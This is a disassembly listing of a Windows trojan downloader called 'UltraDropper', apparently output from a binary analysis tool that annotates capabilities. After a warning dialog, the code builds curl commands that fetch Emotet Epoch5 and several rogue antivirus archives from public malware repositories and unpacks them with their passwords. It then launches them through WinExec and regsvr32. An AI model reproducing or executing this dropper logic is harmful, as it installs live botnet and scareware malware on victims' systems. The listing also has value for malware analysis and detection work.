Function at 0x401670
Capabilities:
Create process on windows
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x2424
call fcn.00402b88
sub esp, eax
call sym.___main
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Run_UltraDropper__This_system_will_be_infected_by_TONS_of_other_malware_trojans_stealers_rogues_etc..._n_nI_am_NOT_responsible_for_anything._nIf_you_press_yes__this_trojan_downloader_will_run__and_your_system_will_be_left_DESTROYED__n_nOh__by_the_way__you_need_7_Zip_to_be_installed_in__C:Program_Files7_Zip_._n_nContinue__I_do_not_recommend_that_you_run_this_if_this_is_not_an_isolated_computer.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x4016c7
mov eax, 0
jmp 0x401977
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x408]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sEmotet_Epoch5.zip___https:__github.com_Princekin_malware_database_raw_main_Emotet_Emotet__20_Epoch5___20___2004.11.2022__20.zip____C:Program_Files7_Zip7z.exe__x___sEmotet_Epoch5.zip___p_infected___o__s_
lea eax, [ebp - 0x808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sAntivirusPro2017.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Pro__202017.zip____C:Program_Files7_Zip7z.exe__x___sAntivirusPro2017.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0xc08]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sAntivirusPlatinum.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_Antivirus__20Platinum.zip____C:Program_Files7_Zip7z.exe__x___sAntivirusPlatinum.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x1008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x408]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_curl__L__o___sRegistrySmart.zip___https:__github.com_Endermanch_MalwareDatabase_raw_master_rogues_RegistrySmart.zip____C:Program_Files7_Zip7z.exe__x___sRegistrySmart.zip___p_mysubsarethebest___o__s_
lea eax, [ebp - 0x1408]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0xc08]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x1008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x1408]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.UltraDropper
mov dword [esp + 4], str.Trojans_downloaded:_n_nAntivirus_Platinum____Antivirus_Pro_2017_nRegistrySmart_________Emotet__Epoch5_Botnet__n_n_nRun_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401886
mov eax, 0
jmp 0x401977
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c_regsvr32.exe___semotet.dll_
lea eax, [ebp - 0x1808]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPro2017.exe_
lea eax, [ebp - 0x1c08]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_AntivirusPlatinum.exe_
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd__c___sEndermanch_RegistrySmart.exe_
lea eax, [ebp - 0x2408]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x1808]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c08]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x2008]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x2408]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret